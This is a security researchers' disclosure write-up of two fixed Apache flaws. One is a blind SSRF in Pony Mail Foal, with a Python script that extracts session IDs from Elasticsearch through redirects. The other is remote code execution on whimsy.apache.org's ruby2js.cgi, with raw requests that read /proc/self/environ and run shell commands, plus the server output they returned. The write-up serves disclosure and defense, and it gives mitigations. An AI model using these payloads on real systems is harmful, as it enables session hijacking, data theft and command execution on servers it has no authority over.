During our security research in 2024, we discovered several vulnerabilities in Apache Foundation projects that seem to have gotten ’lost in translation’ between our bug reports and the CVE assignment process. While we’ve been patiently waiting for these findings to officially ‘count,’ they’ve apparently been stuck longer than a software update on a Friday afternoon. Almost a year went by without any CVEs assigned and which we completely forgot about until now. So we figured it was time to let these vulnerabilities see the light of day, even if they’re destined to remain the security world’s ‘ones that got away.’ The following vulnerabilities were responsibly disclosed to Apache and have been addressed, though they continue to exist in that special category of bugs that are real enough to fix but without CVEs.
Vulnerability #1: Server-Side Request Forgery in Apache Pony Mail Foal
Summary
A blind Server-Side Request Forgery vulnerability in Apache Pony Mail Foal allows an attacker to send limited crafted requests to the server, potentially resulting in unauthorized access to internal resources.
Product Overview
Apache Pony Mail Foal is a web-based mail archive browser built to scale to millions of archived messages with hundreds of requests per second. It allows you to browse, search, and interact with mailing lists including creating replies to mailing list threads. The project uses OAuth2 for authentication to allow viewing private lists, and uses ElasticSearch for storage and searching.
Technical Details
The OAuth2 endpoint allows users to specify an arbitrary URL in the oauth_token parameter, including internal URLs that are not normally accessible to the public. This allows for an attacker to send limited crafted POST requests to internal URLs, as well as GET requests if a URL that triggers a redirection is provided.
The vulnerable code is in server/plugins/oauthGeneric.py:
async def process(
server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:
debug(server, f"oauth/indata: {indata}")
key = indata.get("key", "")
state = indata.get("state")
code = indata.get("code")
id_token = indata.get("id_token")
oauth_token = indata.get("oauth_token")
rv: typing.Optional[dict] = None
# Google OAuth - currently fetches email address only
if key == "google" and id_token and server.config.oauth.google_client_id:
rv = await plugins.oauthGoogle.process(indata, session, server)
# GitHub OAuth - Fetches name and email
elif key == "github" and code and server.config.oauth.github_client_id:
rv = await plugins.oauthGithub.process(indata, session, server)
# Generic OAuth handler, only one we support for now. Works with ASF OAuth.
elif state and code and oauth_token:
rv = await plugins.oauthGeneric.process(indata, session, server)
if rv:
# [...]
return {"okay": False, "message": "Could not process OAuth login!"}
As can be seen from the code, if the key provided is not google or github, the oAuthgeneric plugin is called. The code for this is in server/plugins/oauthGeneric.py:
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
# Extract domain, allowing for :port
# Does not handle user/password prefix etc
m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
if m:
oauth_domain = m.group(1)
headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
# This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
js = await rv.json() # [1]
js["oauth_domain"] = oauth_domain
return js
return None
The oauth_token parameter is used to make a POST request to the URL provided, which may be an internal URL. As long as the request contains the mandatory parameters (key, state, code and oauth_token), the server will make the request to the URL provided in the oauth_token parameter, including any other additional parameters provided in the POST data. While the response is not returned to the user, the attacker can still use this to trigger actions on the server, with the impact depending on which services are present on the internal network (see https://github.com/assetnote/blind-ssrf-chains for examples of potential exploitation scenarios).
Additionally, in our research, we discovered that if a URL that triggers a redirection is provided in the oauth_token parameter, the server will follow the redirection and make a GET request to the final URL. This can be used make GET requests to internal URLs in addition to POST requests and expands the attack surface. We found in particular that if the attacker knows the URL of the Elasticsearch instance used to store session data, it is possible to make repeated requests to the server to extract valid session identifiers through inference techniques (akin to a blind SQL injection attack), which can then be used to access the server as an authenticated user.
Proof-of-Concept
Our proof-of-concept assumes that there is an Elasticsearch server at localhost:9200 that is only accessible from the server running Pony Mail and is used to store data including session identifiers. Our exploit makes use of the following behaviour of Elasticsearch:
- It is possible to send GET requests of the form
http://localhost:9200/_sql?source_content_type=application/json&source={"query":"SQL_QUERY"}&format=txtto the SQL server and get a response with atext/htmlcontent type - If the SQL query causes an error, the response will have an
application/jsoncontent type and will send an error message in JSON format
Pony Mail’s OAuth2 endpoint will simply return a 200 OK response with the message “Could not process OAuth login!” if the request is successful and contains JSON data, but will return a 500 Internal Server Error if the request returns non-JSON data (caused by the failure of the rv.json() call at [1] above). Thus, we can send requests with the oauth_token parameter set to:
http://REDIRECTOR-SERVER/redirect?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{"query"%3A"select cast(cookie as timestamp) from \\"ponymail-session\\" where cookie like 'a%'"}%26format%3dtxt
The redirector server is necessary in order to cause Ponymail to make a GET request to the Elasticsearch server instead of a POST request. If there is a cookie that starts with ‘a’ in the ponymail-session index, Elasticsearch will error out upon attempting to cast it to a timestamp, and return a JSON response to Pony Mail, causing Pony Mail to return a 200 OK. If there is no such cookie, Elasticsearch will return a 200 OK with a text/html content type (since it does not attempt to perform the conversion and thus no error occurs), causing Pony Mail to return a 500 Internal Server Error upon attempting to decode a non-JSON response. By sending multiple requests with different starting characters, we can determine the session identifier one character at a time. This attack is implemented in the script below, which assumes the existence of the Elasticsearch server at localhost:9200 and uses httpbin to perform redirects:
import requests
def exfil(session_id, target):
ORIG_POST_DATA = {
"key": "user",
"state": "z",
"code": "z",
"oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
}
POST_URL = "/api/oauth.json"
POST_DATA = ORIG_POST_DATA.copy()
POST_DATA["oauth_token"] = POST_DATA["oauth_token"].replace("__INJECTION__", session_id)
res = requests.post(target + POST_URL, json=POST_DATA)
if res.status_code == 500:
return False
return True
def main():
TARGET = "http://localhost:1080"
session_id = ""
for i in range(36):
for c in "0123456789abcdef-":
if exfil(session_id + c, TARGET):
session_id += c
print("Session ID: " + session_id)
break
if __name__ == "__main__":
main()
To recreate this exploit, set up a Docker instance of Pony Mail Foal using the instructions at https://github.com/apache/incubator-ponymail-foal/blob/master/DOCKER.md, and log in at least once in order to create a session in the database. Then, run the script above to extract the session identifier.
Once extracted, the attacker can set his cookie to the extracted session ID and use it to impersonate the authenticated user. Similar techniques can be used to obtain data from other indices in the Elasticsearch server, or to make requests to other internal services.
Suggested Mitigations
Follow the recommended guidelines to prevent the OAuth endpoint from making requests to internal URLs/IP addresses: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Vulnerability #2: Remote Code Execution on whimsy.apache.org
Summary
whimsy.apache.org/ruby2js.cgi allows user to specify the path of config file, which is expected to be a ruby script that will be evaluated by instance_eval. An attacker is able to execute arbitrary ruby code on the server by specifying /proc/self/environ as config file.
Technical Details
The ruby2js.cgi file can be found in whimsy source repo:
https://github.com/apache/whimsy/blob/9f2c53f776e7c2985afd393427458e6cf93bd6b1/www/ruby2js.cgi#L4
#!/usr/bin/env ruby
Dir.chdir "/srv/git/ruby2js/demo"
$:.unshift '/srv/git/ruby2js/lib'
load "./ruby2js.rb"
It loads ruby2js.rb, which is believed to be from this project:
# File: ruby2js/demo/ruby2js.rb
# L34-L45
env['QUERY_STRING'].to_s.split('&').each do |opt|
key, value = opt.split('=', 2)
if key == 'ruby'
@ruby = CGI.unescape(value)
elsif key == 'filter'
selected = CGI.unescape(value).split(',')
elsif value
ARGV.push("--#{key}=#{CGI.unescape(value)}") # [1]
else
ARGV.push("--#{key}")
end
end
# L53-L162
require 'optparse'
opts = OptionParser.new
opts.on('-C', '--config [FILE]', "configuration file to use (default is config/ruby2js.rb)") {|filename|
options[:config_file] = filename
}
opts.parse! # [2]
# L643
converted = Ruby2JS.convert(@ruby, options) # [3]
At [1], the script converts QUERY_STRING into ARGV array, and then parses ARGV using the optparse class at [2]. Here the user is able to set options[:config_file] from query param config=/path/to/file or C=/path/to/file.
Later at [3], Ruby2JS.convert is called with the parsed options.
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js.rb#L261-L263
if options[:config_file]
options = ConfigurationDSL.load_from_file(options[:config_file], options).to_h # [4]
end
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js/configuration_dsl.rb#L3-L5
def self.load_from_file(config_file, options = {})
new(options).tap { _1.instance_eval(File.read(config_file), config_file, 1) } # [5]
end
Finally, the config_file is evaluated by instance_eval.
Proof of Concept
File.read("/etc/hosts")
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:11:33 GMT
Server: Apache
Connection: close
Content-Length: 267
172.31.87.36 whimsy-vm6.apache.org whimsy-vm6
127.0.0.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
File.read("/proc/self/environ")
Request:
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20File.read("/proc/self/environ");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":""}
Response (base64 encoded):
SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUdWUsIDI0IE9jdCAyMDIzIDA0OjEzOjI5IEdNVA0KU2VydmVyOiBBcGFjaGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogMjIzMw0KDQpTQ1JJUFRfVVJMPS9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AFNDUklQVF9VUkk9aHR0cHM6Ly93aGltc3kuYXBhY2hlLm9yZy9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AEhUVFBfQVVUSE9SSVpBVElPTj0ASE9NRT0vdmFyL3d3dwBIVFRQUz1vbgBTU0xfVExTX1NOST13aGltc3kuYXBhY2hlLm9yZwBTU0xfU0VSVkVSX1NfRE5fQ049d2hpbXN5LmFwYWNoZS5vcmcAU1NMX1NFUlZFUl9JX0ROX0M9VVMAU1NMX1NFUlZFUl9JX0ROX089TGV0J3MgRW5jcnlwdABTU0xfU0VSVkVSX0lfRE5fQ049UjMAU1NMX1NFUlZFUl9TQU5fRE5TXzA9d2hpbXN5LXZtNi5hcGFjaGUub3JnAFNTTF9TRVJWRVJfU0FOX0ROU18xPXdoaW1zeS5hcGFjaGUub3JnAFNTTF9TRVJWRVJfU0FOX0ROU18yPXdoaW1zeTYuYXBhY2hlLm9yZwBTU0xfVkVSU0lPTl9JTlRFUkZBQ0U9bW9kX3NzbC8yLjQuNDEAU1NMX1ZFUlNJT05fTElCUkFSWT1PcGVuU1NMLzEuMS4xZgBTU0xfUFJPVE9DT0w9VExTdjEuMwBTU0xfU0VDVVJFX1JFTkVHPXRydWUAU1NMX0NPTVBSRVNTX01FVEhPRD1OVUxMAFNTTF9DSVBIRVI9VExTX0FFU18yNTZfR0NNX1NIQTM4NABTU0xfQ0lQSEVSX0VYUE9SVD1mYWxzZQBTU0xfQ0lQSEVSX1VTRUtFWVNJWkU9MjU2AFNTTF9DSVBIRVJfQUxHS0VZU0laRT0yNTYAU1NMX0NMSUVOVF9WRVJJRlk9Tk9ORQBTU0xfU0VSVkVSX01fVkVSU0lPTj0zAFNTTF9TRVJWRVJfTV9TRVJJQUw9MDM4Q0M3ODRDMkRBM0EyNjAxRURBNkIxRjc4MDU4ODhENzA3AFNTTF9TRVJWRVJfVl9TVEFSVD1TZXAgIDggMDg6MTg6NTEgMjAyMyBHTVQAU1NMX1NFUlZFUl9WX0VORD1EZWMgIDcgMDg6MTg6NTAgMjAyMyBHTVQAU1NMX1NFUlZFUl9TX0ROPUNOPXdoaW1zeS5hcGFjaGUub3JnAFNTTF9TRVJWRVJfSV9ETj1DTj1SMyxPPUxldCdzIEVuY3J5cHQsQz1VUwBTU0xfU0VSVkVSX0FfS0VZPXJzYUVuY3J5cHRpb24AU1NMX1NFUlZFUl9BX1NJRz1zaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgBTU0xfU0VTU0lPTl9JRD05ZmI5OWU2NTEyMGQ0NTI3ZmMzNzdiNWRkNDVhYTg4NWM2YWExNDViNzNjZjU2OWJiY2U1ZTExMmFjZGI5ZGRkAFNTTF9TRVNTSU9OX1JFU1VNRUQ9UmVzdW1lZABIVFRQX0hPU1Q9d2hpbXN5LmFwYWNoZS5vcmcAQ09OVEVOVF9MRU5HVEg9MTEASFRUUF9BQ0NFUFQ9YXBwbGljYXRpb24vanNvbgBDT05URU5UX1RZUEU9YXBwbGljYXRpb24vanNvbgBIVFRQX0FDQ0VQVF9FTkNPRElORz1nemlwLCBkZWZsYXRlLCBicgBIVFRQX0FDQ0VQVF9MQU5HVUFHRT1lbi1VUyxlbjtxPTAuOQBIVFRQX0NPTk5FQ1RJT049Y2xvc2UAUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW46L3NuYXAvYmluAFNFUlZFUl9TSUdOQVRVUkU9AFNFUlZFUl9TT0ZUV0FSRT1BcGFjaGUAU0VSVkVSX05BTUU9d2hpbXN5LmFwYWNoZS5vcmcAU0VSVkVSX0FERFI9MTcyLjMxLjg3LjM2AFNFUlZFUl9QT1JUPTQ0MwBSRU1PVEVfQUREUj01Mi4yMjEuMjAyLjIzAERPQ1VNRU5UX1JPT1Q9L3gxL3Nydi93aGltc3kvd3d3AFJFUVVFU1RfU0NIRU1FPWh0dHBzAENPTlRFWFRfUFJFRklYPQBDT05URVhUX0RPQ1VNRU5UX1JPT1Q9L3gxL3Nydi93aGltc3kvd3d3AFNFUlZFUl9BRE1JTj1bbm8gYWRkcmVzcyBnaXZlbl0AU0NSSVBUX0ZJTEVOQU1FPS94MS9zcnYvd2hpbXN5L3d3dy9ydWJ5MmpzLmNnaQBSRU1PVEVfUE9SVD0zNzA1OQBHQVRFV0FZX0lOVEVSRkFDRT1DR0kvMS4xAFNFUlZFUl9QUk9UT0NPTD1IVFRQLzEuMQBSRVFVRVNUX01FVEhPRD1QT1NUAFFVRVJZX1NUUklORz1jb25maWc9L3Byb2Mvc2VsZi9lbnZpcm9uAFJFUVVFU1RfVVJJPS9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyUyMEZpbGUucmVhZCgiL3Byb2Mvc2VsZi9lbnZpcm9uIik7ZXhpdDs/Y29uZmlnPS9wcm9jL3NlbGYvZW52aXJvbgBTQ1JJUFRfTkFNRT0vcnVieTJqcy5jZ2kAUEFUSF9JTkZPPS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AFBBVEhfVFJBTlNMQVRFRD0veDEvc3J2L3doaW1zeS93d3cvO3B1dHMiXHgwZFx4MGEiO3B1dHMgRmlsZS5yZWFkKCIvcHJvYy9zZWxmL2Vudmlyb24iKTtleGl0OwAK
Dir['/srv/*']
Request:
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20Dir['/srv/*'];exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 24
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":"42","ast":true}
Response:
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:16:38 GMT
Server: Apache
Connection: close
Content-Length: 190
/srv/git
/srv/svn
/srv/gpg
/srv/whimsy
/srv/puppet-data
/srv/subscriptions
/srv/ldap.txt
/srv/mail
/srv/subscriptions2.old
/srv/icla
/srv/agenda
/srv/cache
/srv/mbox
/srv/subscriptions1.old
IO.read("|id;whoami;ifconfig;ip addr")
Request:
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20IO.read("|id;whoami;ifconfig;ip%20addr");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
{"ruby":""}
Response:
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:23:59 GMT
Server: Apache
Connection: close
Content-Length: 1654
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 172.31.87.36 netmask 255.255.240.0 broadcast 172.31.95.255
inet6 fe80::14c1:8dff:fe11:7043 prefixlen 64 scopeid 0x20<link>
ether 16:c1:8d:11:70:43 txqueuelen 1000 (Ethernet)
RX packets 21322168 bytes 20790422361 (20.7 GB)
RX errors 0 dropped 208 overruns 0 frame 0
TX packets 9360717 bytes 6187387443 (6.1 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 10558507 bytes 3830672282 (3.8 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10558507 bytes 3830672282 (3.8 GB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
link/ether 16:c1:8d:11:70:43 brd ff:ff:ff:ff:ff:ff
inet 172.31.87.36/20 brd 172.31.95.255 scope global dynamic eth0
valid_lft 2858sec preferred_lft 2858sec
inet6 fe80::14c1:8dff:fe11:7043/64 scope link
valid_lft forever preferred_lft forever
Remediation Advice
-
Remove
ruby2js.cgi, or add LDAP basic auth as is implemented for/membersand/secretary. -
As exfiltrating secrets in
/srv/ldap.txthas been successful during testing, invalidate and rotate all secret values stored in/srv/ldap.txtto prevent the possibility of any secret values leaked in the process of the transmission. -
Examine web logs for any potential prior exploitation attempts.
Credits
Li Jiantao (@CurseRed) and Devesh Logendran of STAR Labs SG Pte. Ltd. (@starlabs_sg)